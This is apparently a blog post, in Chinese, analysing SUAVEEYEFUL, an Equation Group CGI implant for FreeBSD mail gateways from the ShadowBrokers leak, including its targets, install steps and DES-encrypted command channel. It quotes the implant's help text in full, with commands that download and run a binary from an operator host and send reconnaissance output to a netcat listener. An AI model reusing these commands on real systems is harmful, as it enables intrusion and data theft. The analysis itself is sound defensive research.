揭秘被遗忘的SUAVEEYEFUL:EQUATION GROUP的FreeBSD软件植入工具

本文深入分析了EQUATION GROUP使用的SUAVEEYEFUL软件植入工具,包括其技术架构、攻击目标和运作方式,揭示了该组织如何利用CGI程序、数据加密和无文件恶意软件技术入侵FreeBSD和Linux系统。

被遗忘的SUAVEEYEFUL:EQUATION GROUP的FreeBSD软件植入工具

我在查看2017年ShadowBrokers泄露文件时注意到,其中一个EQUATION GROUP工具至今没有公开的参考资料或分析(至少据我所知)。因此,本文将介绍这个软件植入工具的功能和工作原理。该工具位于名为suaveeyeful_i386-unknown-mirapoint3.4.3的目录中,揭示了大量有趣的细节。总结如下:

  • SUAVEEYEFUL是一个针对FreeBSD和Linux的CGI软件植入工具
  • SUAVEEYEFUL至少从2000年代初就被用于监视中国外交部和日本早稻田研究大学的电子邮件流量
  • 泄露的文件/操作针对MiraPoint电子邮件产品
  • SUAVEEYEFUL在当时具有一些创新的TTP(战术、技术和程序),如数据加密和无文件恶意软件

泄露的文件

该目录包含几个不同的文件:

  • bdes:基于FreeBSD bdes版本1.3.2.1(2000年9月22日)的FreeBSD bdes(使用DES加密/解密的命令行工具)副本,但于2003年在Linux上编译
  • decode-base64:使用MIME::Base64的简单Perl解码脚本
  • implant:SUAVEEYEFUL的ELF二进制软件植入组件,为FreeBSD 4.3版本(该版本于2001年4月发布)的i386架构构建
  • implant.mg1.waseda.ac.jp:针对日本早稻田研究大学电子邮件网关的SUAVEEYEFUL ELF二进制软件植入组件(implant文件的变体)
  • opscript.se:在日本早稻田研究大学安装SUAVEEYEFUL(缩写为SE)软件植入工具所需执行的命令
  • se:SUAVEEYEFUL软件植入工具的客户端组件,用Bash编写。此副本硬编码了日本早稻田研究大学的目标
  • se.old:SUAVEEYEFUL软件植入工具客户端的先前版本,用Bash编写。此副本硬编码了中国外交部电子邮件网关的目标
  • uriescape:使用URI::Escape的简单Perl脚本

这些实用程序(bdes、decode-base64和uriescape)与SUAVEEYEFUL捆绑在一起,因为它们在内部使用。这确保了软件植入工具不依赖任何外部依赖(除了当时默认的核心系统实用程序,如ls、cat、telnet等)。

目标

se.old客户端可能是操作员为新目标调整的版本。这是因为其内容存在不一致之处,使其看起来像是旧操作草案/编辑版本。残留的注释将mail.mfa.gov.cn(202.99.26.6)标识为其配置的SUAVEEYEFUL目标。

这是中国外交部(MFA)的电子邮件网关。即使在今天,该IP地址(202.99.26.6)仍然指向中国外交部的电子邮件服务器。很难确定EQUATION GROUP何时使用SUAVEEYEFUL软件植入工具入侵此电子邮件服务器。完全基于构建时间,我们可以评估至少从2000年代初开始。

泄露目录中包含的大多数文件都是为另一个目标设计的。早稻田研究大学的电子邮件网关,根据其官方网站,“致力于进行解决世界问题并为社会更大利益做出贡献的前沿研究。非正统思维和智力好奇心是早稻田研究的驱动力。”

se客户端配置了两个被入侵的早稻田电子邮件网关,两者都通过其内部IP地址从另一个被入侵的主机访问,仅通过其IP地址引用。因此,至少自2003年以来,早稻田基础设施中至少有3个系统被EQUATION GROUP入侵。

  • mp450 (10.1.2.208)
  • mg1.waseda.ac.jp (10.9.4.15)
  • 10.1.2.150 – 另一个被入侵的主机

顶级主机(mp450)是大学的MiraPoint 450(后来更名为RazorGate 450),一种电子邮件安全设备。另一个主机(mg1.waseda.ac.jp)是MiraPoint电子邮件网关。第三个主机仍然未知,但基于其IP范围(与mp450类似),我们可以推断它可能是位于大学DMZ网段的系统。

在早稻田MiraPoint服务器上安装SUAVEEYEFUL

这在opscript.se文件中有清晰描述,我们可以假设这是EQUATION GROUP操作员安装SUAVEEYEFUL软件植入工具的首批操作任务之一。以下是该过程:

  1. 将植入工具复制到/var/www/data/help/apps/locale/ja_JP.utf-8/utilities/nph-help.cgi文件
  2. 将nph-help.cgi的文件权限更改为555
  3. 将nph-help.cgi的所有权更改为“root”,组为“nobody”
  4. 使用touch -r确保文件nph-help.cgi以及/var/www/data/help/apps/locale/ja_JP.utf-8/utilities/目录下的任何内容都具有与合法MiraPoint Web服务/var/www/data/help/apps/locale/ja_JP.utf-8/utilities/publish.html相同的时间戳
  5. 使用netcat开始在端口444上监听,使用Base64解码接收到的数据,并使用bdes和硬编码密钥(在此案例中为0x4790cae5ec154ccc)解密它们
  6. 从mp450的SUAVEEYEFUL植入工具反向连接到监听端口4444,并提供一些基本的系统信息(谁登录、列出文件/目录等)

SUAVEEYEFUL软件植入工具

SUAVEEYEFUL(或SE)有两个组件:客户端和服务器。服务器组件是一个非常简单的CGI程序,用C语言为FreeBSD编写,并在其帮助端点寻找输入。任何接收到的命令都将使用system()库调用执行(具有root权限,如前一节所示),只要它们匹配定义的格式(在本文后面描述)。

客户端确保所有请求都被正确请求、编码(使用Base64)和加密(使用DES)。客户端支持4个选项:

  • -h:显示帮助消息
  • -c:执行命令
  • -i:输入目标(例如运行SE服务器组件的主机的URL)
  • -k:用于DES加密的密钥

从此可以看出,为了生成加密材料,EQUATION GROUP以以下方式使用系统的/dev/random

1
head -c 8 /dev/random | hexdump -e '/8 \"0x%016x\n\"'

然后使用#作为分隔符构建命令。要执行的主要命令使用以下方式构建:

1
echo "`head -c 8 /dev/random | hexdump -e '/8 "%016x\n"'`#`date +"%s"`#$cmd"|bdes -k $key > out

这导致了一个看起来像这样的格式:

1
<RANDOM_8_BYTES>#<UNIX_TIMESTAMP>#<COMMAND>

然后使用硬编码的DES密钥加密此结构,并通过uriescape工具传递,以确保接收MiraPoint Web服务器不会出现解析问题。

除此之外,客户端还使用date +"%N"命令获取纳秒级的日期,并使用匹配相同值的密钥加密。这是一种反分析/反检测技巧,因为如果没有这个非直观的添加,任何人都很难让SE软件植入工具执行任何命令。

最后,SE帮助消息显示了操作员可以使用的三个示例命令的说明。这三个帮助命令执行以下任务:

  1. 通过以下方式安装无文件恶意软件:

    • 创建隐藏目录(/tmp/.scsi
    • 使用curl从操作主机(10.1.2.150:5555/sendmail)下载一个名为sendmail的二进制文件
    • 以root身份运行sendmail并反向连接到操作主机的不同端口(10.1.2.150:9999)
    • 删除sendmail二进制文件,使其仅在内存中运行,而不是从文件系统运行
  2. 使用反向连接方法执行命令:

    • 运行w后跟ls -l和ls -l /tmp以获取登录用户和当前及/tmp目录的内容
    • 加密并编码输出
    • 将其发送到操作主机的监听端口(10.1.2.150:4444)
    • 消息还指导操作员如何生成新的DES加密密钥
  3. 与#2相同,但没有Base64编码和DES加密

以下是完整的帮助消息:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
1) se -c"(mkdir /tmp/.scsi; cd /tmp/.scsi; /usr/bin/curl http://10.1.2.150:5555/sendmail -osendmail;chmod +x sendmail;D=-c10.1.2.150:9999 PATH=. /usr/bin/asroot sendmail;rm -f sendmail) > /dev/null 2>&1" -i"http://mp450/help/apps/locale/ja_JP.utf-8/utilities/nph-help.cgi/help" 

2) se -c"(w; ls -l; ls -l /tmp) | bdes -k SECRET | mmencode | telnet 10.1.2.150 4444"  -i"http://mp450/help/apps/locale/ja_JP.utf-8/utilities/nph-help.cgi/help" 
  with nc -l -p 4444 | decode-base64 | bdes -d -k SECRET

Use this to generate a random key and replace SECRET with the key
  head -c 8 /dev/random | hexdump -e '/8 "0x%016x\n"'

3) se -c"(w; ls -l; ls -l /tmp) | telnet 10.1.2.150 4444"  -i"http://mp450/help/apps/locale/ja_JP.utf-8/utilities/nph-help.cgi/help" 
  with nc -l -p 4444
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计